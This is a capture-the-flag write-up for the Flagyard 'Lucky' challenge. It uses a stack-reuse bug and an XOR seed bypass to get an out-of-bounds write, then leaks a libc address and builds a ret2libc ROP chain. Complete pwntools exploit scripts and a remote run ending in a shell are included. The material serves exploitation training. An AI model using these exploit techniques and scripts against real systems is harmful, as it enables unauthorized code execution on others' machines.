Post

Lucky @ Flagyard

Lucky @ Flagyard

Lucky - Flagyard

Difficulty: Easy

Overview: Lucky chains a stack-reuse bug to force a local variable to attacker-controlled values, allowing bypass of safety checks. That bypass triggers an out-of-bounds write which lets you corrupt critical memory. A separate libc leak reveals a libc address so you can compute the base and turn the OOB write into full code execution.

Basic File Checks

First all we do some basic file checks to see the security protections enabled on the binary.

1
2
3
4
5
6
7
8
9
mcsam@0x32:~/Desktop/ctf/flagyard/pwn/lucky$ checksec --file lucky
[*] '/home/mcsam/Desktop/ctf/flagyard/pwn/lucky/lucky'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

The binary is 64 bit little endian and the build lacks stack canaries, which lets us overwrite the saved return address on the stack. Also we can see that PIE is enabled.

Decompiling and identifying vulnerabilities

The binary is stripped, meaning it contains no symbol information to explain functions or variables. As a result we must reverse engineer names and annotate the decompiled output by hand so the program logic is easy to follow.

1
2
mcsam@0x32:~/Desktop/ctf/flagyard/pwn/lucky$ file lucky
lucky: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1ef13a48326a28ecbf0cc6fcaa356cedec9d00d5, for GNU/Linux 3.2.0, stripped

Let’s start off by running the binary to analyse it’s behaviour.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mcsam@0x32:~/Desktop/ctf/flagyard/pwn/lucky$ ./lucky
Welcome to the 100 percent accurate lucky number generator. You will definitely win the lottery with this number generator.
1. Enter your name and birthday
2. Generate numbers
> 1
Enter your name: mcsam
Enter your birth year: 9
Enter your birth month: 9
Enter your birth day: 9
Hello mcsam
, your ID is 11464902665060
Welcome to the 100 percent accurate lucky number generator. You will definitely win the lottery with this number generator.
1. Enter your name and birthday
2. Generate numbers
> 2
Oh it's your first time here? I'll give you more lucky numbers than usual!
NUM 8
Your lucky numbers are:
60
56
5
14
54
38
62
88
How many numbers do you want to change?
3
Enter new number: 2
Enter new number: 3
Enter new number: 4

The program is an interactive lucky number generator with a simple menu. Option one asks for name and birthday and prints a generated ID. Option two produces a set of lucky numbers, prints an extra message the first time it is used, and then lets you overwrite a chosen number of generated values.

Now that we’ve observed the program’s behavior, we can start static analysis and decompilation in IDA to map out its logic and find the bugs. Because the binary is stripped, I renamed functions and variables in my decompilation to make the logic easier to follow. You will not see the same names if you load the binary into IDA.

In the decompilation of the main function, the setup() function is called firstly. It then enters a menu loop driven by show_menu(). If the user chooses 1, gen_user_id() is called; if they choose 2 , gen_lucky_numbers() is called. Any other input causes th program to exit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int user_menu_choice; // [rsp+Ch] [rbp-4h]

  setup();
  while ( 1 )
  {
    while ( 1 )
    {
      user_menu_choice = show_menu();
      if ( user_menu_choice != 1 )
        break;
      gen_user_id(a1, a2);
    }
    if ( user_menu_choice != 2 )
      exit(1);
    gen_lucky_numbers(a1, a2);
  }
}

Let’s see what the show_menu() function does.

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 show_menu()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF

  printf(
    "Welcome to the 100 percent accurate lucky number generator. You will definitely win the lottery with this number gen"
    "erator.\n"
    "1. Enter your name and birthday\n"
    "2. Generate numbers\n"
    "> ");
  __isoc99_scanf("%d", &v1);
  return v1;
}

The show_menu() function displays the program’s main menu and reads the user’s choice using scanf("%d", &v1). It then returns that integer to the caller. This return value is used in main() to decide which feature to execute, either generating a user ID (gen_user_id) or producing the lucky numbers (gen_lucky_numbers).

Analysing the the gen_user_id function

Now that we know what the main function is doing let’s take a look at the gen_user_id function. By doing a quick analysis we can identify this function helps to generate an ID/seed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int gen_user_id()
{
  int v0; // eax
  __int64 birth_day; // [rsp+8h] [rbp-68h] BYREF
  __int64 birth_month; // [rsp+10h] [rbp-60h] BYREF
  __int64 birth_year; // [rsp+18h] [rbp-58h] BYREF
  char username[76]; // [rsp+20h] [rbp-50h] BYREF
  int counter; // [rsp+6Ch] [rbp-4h]

  counter = 0;
  printf("Enter your name: ");
  memset(username, 0, 64uLL);
  username[read(0, username, 63uLL)] = 0;
  printf("Enter your birth year: ");
  __isoc99_scanf("%ld", &birth_year);
  printf("Enter your birth month: ");
  __isoc99_scanf("%ld", &birth_month);
  printf("Enter your birth day: ");
  __isoc99_scanf("%ld", &birth_day);
  while ( counter <= 7 )
  {
    v0 = counter++;
    *(_QWORD *)&seed ^= *(_QWORD *)&username[8 * v0];
  }
  *(_QWORD *)&seed ^= birth_day;
  *(_QWORD *)&seed ^= birth_month;
  *(_QWORD *)&seed ^= birth_year;
  return printf("Hello %s, your ID is %ld\n", username, *(_QWORD *)&seed);
}

The gen_user_id function reads a username and three integers for birth year month and day. It zeros the first 64 bytes of the username buffer then reads up to 63 bytes from stdin and explicitly writes a terminating zero at the read length. After collecting the inputs the function computes a seed by XORing eight consecutive eight byte blocks taken from the username into seed in a loop that runs from zero to seven, and then XORing the birth day month and year into seed. Finally it prints the username and the computed seed.

One interesting observation is that, depending on the input values provided to this function, it is possible to make the computed seed equal to 0. This happens because the seed is derived entirely through XOR operations, and with carefully chosen inputs these operations can cancel each other out, resulting in a zero seed value.

Analysing the the gen_lucky_numbers function

The gen_lucky_numbers function allows the generation of a set of random numbers which rely on the seed produced by gen_user_id. Take a look at the decomplation below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 gen_lucky_numbers()
{
  __int64 result; // rax
  int i; // [rsp+0h] [rbp-30h] BYREF
  int j; // [rsp+4h] [rbp-2Ch]
  int max_number_of_nums_to_change; // [rsp+8h] [rbp-28h]
  int number_of_nums_to_change; // [rsp+Ch] [rbp-24h] BYREF

  if ( *(_QWORD *)&seed )
    max_number_of_nums_to_change = 4;
  if ( dword_4010 )
  {
    puts("Oh it's your first time here? I'll give you more lucky numbers than usual!");
    max_number_of_nums_to_change = 8;
    dword_4010 = 0;
  }
  printf("NUM %d\n", max_number_of_nums_to_change);
  puts("Your lucky numbers are:");
  srand(seed);
  for ( i = 0; i < max_number_of_nums_to_change; ++i )
  {
    *(&i + i + 4) = rand() % 100;
    printf("%d\n", *(&i + i + 4));
  }
  puts("How many numbers do you want to change?");
  __isoc99_scanf("%d", &number_of_nums_to_change);// write to first element of the array
  result = (unsigned int)max_number_of_nums_to_change;// convert v3 to an unsigned integer
  if ( number_of_nums_to_change <= max_number_of_nums_to_change )
  {
    for ( j = 0; ; ++j )
    {
      result = (unsigned int)number_of_nums_to_change;
      if ( j >= number_of_nums_to_change )
        break;
      printf("Enter new number: ");
      __isoc99_scanf("%d", &i + j + 4);
    }
  }
  return result;
}

When we examine the code to understand its behavior, one thing we notice is a condition that checks whether the seed value has been set. From the gen_user_id function, we already know that the seed can be influenced by our input. By carefully choosing those inputs, we can control the seed value and even set it to zero, which allows us to bypass this check entirely.

On line 11 there’s another check on dword_4010 which is an uninitialized global variable. Uninitialized globals default to zero. Inside the branch that runs when dword_4010 is zero the program initializes max_number_of_nums_to_change and assigns a value to dword_4010. If we skip that branch by passing the earlier seed check, those variables remain uninitialized.

One thing to note is that when we call two functions let’s say function A and B in succession then if function B contains uninitilized local variables then the stack frame for function A will be reused and this will result in values for local variables in function A being used for function B.

This stack reuse behavior can be exploited to influence the local variables in gen_lucky_numbers. By carefully grooming the stack before calling it, we can position controlled data in memory where gen_lucky_numbers expects its local variables to reside. The key is to ensure that certain variables in gen_lucky_numbers remain uninitialized, allowing the leftover values from the previous stack frame to persist and give us control over their contents.

Exploiting stack re-use

gen_lucky_numbers reads an uninitialized local max_number_of_nums_to_change and uses it to control how many lucky numbers are generated and (optionally) overwritten. Because the caller stack frame can be reused, attacker-controlled data left on the stack by a previous call can end up interpreted as this uninitialized local. By arranging the program state and inputs correctly, we can deterministically place attacker-controlled values into the callee’s locals and force an out-of-bounds write.


Preconditions (inside gen_lucky_numbers)

Both conditions below must hold to allow exploitation:

  • *(_QWORD *)&seed == 0
  • dword_4010 == 0

seed is computed in gen_user_id via a series of XORs of username chunks and birthday fields, so it is controllable. dword_4010 is touched inside gen_lucky_numbers and can be cleared by first calling that function in a way that sets it to 0.


Why we can control max_number_of_nums_to_change

Because max_number_of_nums_to_change is not initialized on every path, the stack space it occupies can contain residual bytes from the previous function call. If we control the caller’s stack layout (for example, by passing crafted input to gen_user_id), those bytes will be read as the callee’s local and thus give us deterministic control over max_number_of_nums_to_change.


High-level exploit plan (two stages)

Keep this conceptual — the full exploit script appears later.

Stage 1 — clear dword_4010

Call gen_lucky_numbers once in a way that sets dword_4010 = 0. This makes the second precondition true for later calls.

Stage 2 — zero the seed (*(_QWORD *)&seed)

Call gen_user_id with inputs chosen so that the XOR-based seed computation evaluates to 0. Use the XOR identity A ^ A = 0: select username/birthday inputs so the intermediate XOR result repeats itself, cancelling to zero. This satisfies the first precondition.


Trigger the OOB write

With both preconditions true and the caller stack groomed so that attacker-controlled bytes occupy the callee’s uninitialized local slots, call gen_lucky_numbers again. Because max_number_of_nums_to_change now contains our controlled value, the check on number_of_nums_to_change can be bypassed and the loop will perform an out-of-bounds write into stack memory under our control.


Proof-of-concept (Stage 1 + Stage 2)

Below is the exploit code used for the staged preparation described above (Stage 1: clear dword_4010, Stage 2: craft inputs to make seed == 0). This is the script referenced earlier in the writeup.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
import struct, sys

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

exe = './lucky'

elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

io = start()

# Stage 1: call gen_lucky_numbers once to clear dword_4010
io.sendlineafter('> ', b'2')
io.sendlineafter('change?', b'0')

# Stage 2: call gen_user_id with crafted username/birth to force seed == 0
io.sendlineafter('> ', b'1')

target_number_in_int = 20
target_number_in_hex = struct.pack("<I", target_number_in_int)
total_username_length = 64

# Build username so that the chunks XOR to a controllable value
username_in_memory = target_number_in_hex * 15
io.sendafter('name:', username_in_memory)

calculated_padding = total_username_length - len(target_number_in_hex*15)
username_in_memory += b'\x00' * calculated_padding

current_xor = 0
for i in range(0, len(username_in_memory), 8):
    chunk = username_in_memory[i:i+8]
    val, = struct.unpack("<Q", chunk)
    current_xor ^= val

birth_year = current_xor & 0xFFFFFFFFFFFFFFFF

print(f'Calculated birth year: {birth_year}, hex: {hex(birth_year)}') 

io.sendlineafter('year: ', str(birth_year).encode())
io.sendlineafter('month: ', b'0')
io.sendlineafter('day: ', b'0')

# Now trigger gen_lucky_numbers again; with the seed and dword_4010 prepared,
# the uninitialized local will be read from our groomed stack values.
io.sendlineafter('> ', b'2')
io.interactive()

By setting target_number_in_int in our PoC script to an arbitrary 32-bit value and repeating it across the username buffer, we place that value into the caller stack slots that gen_lucky_numbers will later interpret as its uninitialized local max_number_of_nums_to_change. Because the username chunks are XORed together to form seed, we choose a birth-year that cancels the username XOR (see Stage 2), causing *(_QWORD *)&seed == 0. After clearing dword_4010 in Stage 1 and forcing seed == 0 in Stage 2, the branch that would normally initialize max_number_of_nums_to_change is skipped leaving the callee to read whatever attacker-controlled bytes are already on the stack.

Evidence of successful stack re-use
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mcsam@0x32:~/Desktop/ctf/flagyard/pwn/lucky$ python3 solve1.py 
[+] Starting local process './lucky': pid 265446
/home/mcsam/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/mcsam/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
Calculated birth year: 85899345920, hex: 0x1400000000
[*] Switching to interactive mode
NUM 20
Your lucky numbers are:
83
86
77
15
93
35
86
92
49
21
62
27
90
59
63
26
40
26
72
36
How many numbers do you want to change?

From this output we confirm:

  • The program printed NUM 20, showing max_number_of_nums_to_change is 20 (our controlled value).
  • The generator then printed 20 numbers, which demonstrates the function used our value to drive the loop.
  • Because subsequent writes (the “Enter new number:” prompts) are bounded by that controlled value, we get an OOB write primitive when we supply more number_of_nums_to_change entries than the original intended buffer size would allow.

OOB Write Proof Of Concept

Now that we have successfully controlled the loop variable let’s attempt to write some stuff to memory then debug and check to see if the bytes have been written successfully. To this this we will add the following piece on code as the end of our first PoC script.

1
2
3
4
5
6
7
8
...
...
io.sendlineafter('change?', str(target_number_in_int).encode())

for i in range(0, target_number_in_int, 4):
    io.sendlineafter(':', f"{u32('AAAA')}".encode())

io.interactive()

After adding re-runing the script we are able to write AAAA to memory. Now we need to figure out the offset to the return address so we can overwrite it.

OOB Write Demo

Exploiting the vulnerabilities to obtain code execution

Now that we can overwrite the saved return address, the next step is turning that primitive into reliable code execution. Because the binary uses PIE and the system has ASLR enabled, absolute addresses are randomized at runtime. As a result of this we must leak a runtime address (typically from libc) and compute the libc base so we can build a correct ROP chain.

High-level plan

  1. Gain an arbitrary write (OOB) primitive — we already have this by controlling max_number_of_nums_to_change. Use it to corrupt a return address.
  2. Leak a libc address — find a way to leak an address in libc.
  3. Compute libc base — subtract the known libc symbol offset from the leaked runtime address to compute libc_base.
  4. Build ROP chain using libc base — compute addresses of required gadgets and functions (system, /bin/sh string, pop rdi; ret, etc.) using libc_base + offset.
  5. Overwrite the saved return address with ROP payload to get a shell.

Leaking libc

Now that we can overwrite the return address, we still need a reliable libc base so we can craft a working ROP chain. To get that base we need a runtime leak. A convenient leak primitive here comes from two combined behaviours:

  • gen_user_id computes seed as
    1
    
    seed = xor(username_chunks) ^ birth_day ^ birth_month ^ birth_year
    

and then prints seed as the user ID, and

  • scanf("%ld", &var) does not modify var when the input does not match the format (for example, when we send -). That leaves whatever bytes were already on the stack at that variable’s slot unchanged.

We can combine these to preserve a chosen stack slot in birth_day (by sending a - at that prompt) and then have gen_user_id print the preserved value via the seed computation. By grooming the username and picking birth_year/birth_month appropriately we can make the computed seed equal exactly to the preserved birth_day stack contents.

Why this works (math)

Let U = xor(username_chunks) and let D be the 8-byte value currently present at &birth_day (leftover on the stack). gen_user_id sets:

1
seed = U ^ D ^ birth_month ^ birth_year

We want seed == D (so the printed ID is the preserved birth_day contents). Rearranging: D (seed) == U ^ D ^ birth_month ^ birth_year

To obtain this we need to make sure U ^ birth_month ^ birth_year == 0 so that seed = 0 ^ D so the printed ID is the preserved stack value D (the leak). In this case the leak originates from the stack fram of the printf function right before the birthday input is collected.

1
2
3
4
5
6
7
8
9
  printf("Enter your name: ");
  memset(username, 0, 64uLL);
  username[read(0, username, 63uLL)] = 0;
  printf("Enter your birth year: ");
  __isoc99_scanf("%ld", &birth_year);
  printf("Enter your birth month: ");
  __isoc99_scanf("%ld", &birth_month);
  printf("Enter your birth day: "); 
  __isoc99_scanf("%ld", &birth_day);
Proof of Concept of the leak

Let’s visit our debugger to see what the stack frame re-used by the scanf function looks like. We will first set a breakpoint at a place which will help us properly see the stack frame.

1
brva 0x1314

Libc Addr on Stack

From the image we can see that a pointer to _IO_2_1_stdin_ is saved on the stack. We can leak it now via the seed priniting.

Below is the proof of concept code to leak _IO_2_1_stdin_ and calulate the libc base.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
gdbscript = '''
brva 0x1504
run
'''.format(**locals())

exe = './lucky_patched'
libc = ELF("./libc-2.31.so")

elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'

io = start()

io.sendlineafter('> ', b'1')

io.sendafter('name: ', b'\0')
io.sendlineafter('year: ', b'0')
io.sendlineafter('month: ', b'0')
io.sendlineafter('day: ', b'-')

libc_leak = int(io.recvuntil("\n").split(b' ')[5].decode().strip('\n'))
print(f'Received address: {hex(libc_leak)}')
libc.address = libc_leak - libc.sym["_IO_2_1_stdin_"]
print(f'Libc _IO_2_1_stdin_ address: {hex(libc.sym["_IO_2_1_stdin_"])}')
print(f'Libc base address: {hex(libc.address)}')

io.interactive()

Gaining code execution

It’s now time to gain code execution since we have all the necessary requirements to craft and write our ROP chain to memory. The complete combined exploit code is show below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
import struct

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
brva 0x1504
run
'''.format(**locals())



# Set up pwntools for the correct architecture
exe = './lucky_patched'
libc = ELF("./libc-2.31.so")
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

## attempting to leak libc
io.sendlineafter('> ', b'1')
io.sendafter('name: ', b'\0')
io.sendlineafter('year: ', b'0')
io.sendlineafter('month: ', b'0')
io.sendlineafter('day: ', b'-')    

libc_leak = int(io.recvuntil("\n").split(b' ')[5].decode().strip('\n'))
print(f'Received address: {hex(libc_leak)}')
libc.address = libc_leak - libc.sym["_IO_2_1_stdin_"]
print(f'Libc _IO_2_1_stdin_ address: {hex(libc.sym["_IO_2_1_stdin_"])}')
print(f'Libc base address: {hex(libc.address)}')

io.sendlineafter('> ', b'2')

io.sendlineafter('change?', b'0')

io.sendlineafter('> ', b'1')

target_number_in_int = 32
target_number_in_hex = struct.pack("<I", target_number_in_int)
print(f'Target number in hex: {target_number_in_hex}')

total_username_length = 64

string_in_memory = target_number_in_hex * 15
io.sendafter('name: ', string_in_memory)

calculated_padding = total_username_length - len(target_number_in_hex*15)

string_in_memory += b'\x00' * calculated_padding

print(f'String in memory: 0x{string_in_memory.hex()}')

current_xor = 0
for i in range(0, len(string_in_memory), 8):
    chunk = string_in_memory[i:i+8]
    val, = struct.unpack("<Q", chunk)
    current_xor ^= val

birth_year = current_xor & 0xFFFFFFFFFFFFFFFF

print(f'Calculated birth year: {birth_year}, hex: {hex(birth_year)}') 

io.sendlineafter('year: ', str(birth_year).encode())
io.sendlineafter('month: ', str(libc_leak).encode())
io.sendlineafter('day: ', b'0')

io.sendlineafter('> ', b'2')

io.sendlineafter('change?', str(target_number_in_int).encode())

offset_to_return_address = 40
rop = ROP(libc)
ret_addr = rop.find_gadget(['ret'])[0]
pop_rdi = libc.address + 0x26b72
binsh = next(libc.search(b'/bin/sh'))

payload = flat([
    offset_to_return_address * b'A',
    pop_rdi,
    binsh,
    ret_addr,
    libc.sym["system"]
])

padding_size =  target_number_in_int*4 -len(payload)
print(f'Padding size: {padding_size}')

payload += b'A' * padding_size

for i in range(0, len(payload), 4):
    chunk = payload[i:i+4]
    io.sendlineafter(':', f"{u32(chunk)}".encode())

io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
mcsam@0x32:~/Desktop/ctf/flagyard/pwn/lucky$ python3 solve.py REMOTE 34.252.33.37 31264
[*] '/home/mcsam/Desktop/ctf/flagyard/pwn/lucky/libc-2.31.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Opening connection to 34.252.33.37 on port 31264: Done
Received address: 0x7f4ecdf21980
Libc _IO_2_1_stdin_ address: 0x7f4ecdf21980
String in memory: 0x20000000200000002000000020000000200000002000000020000000200000002000000020000000200000002000000020000000200000002000000000000000
Calculated birth year: 137438953472, hex: 0x2000000000
[*] Loaded 201 cached gadgets for './libc-2.31.so'
Padding size: 56
id
[*] Switching to interactive mode
 $ id
uid=1000 gid=1000 groups=1000
$  

And viola we obtain code exeution on the target. :fingerguns:

This post is licensed under CC BY 4.0 by the author.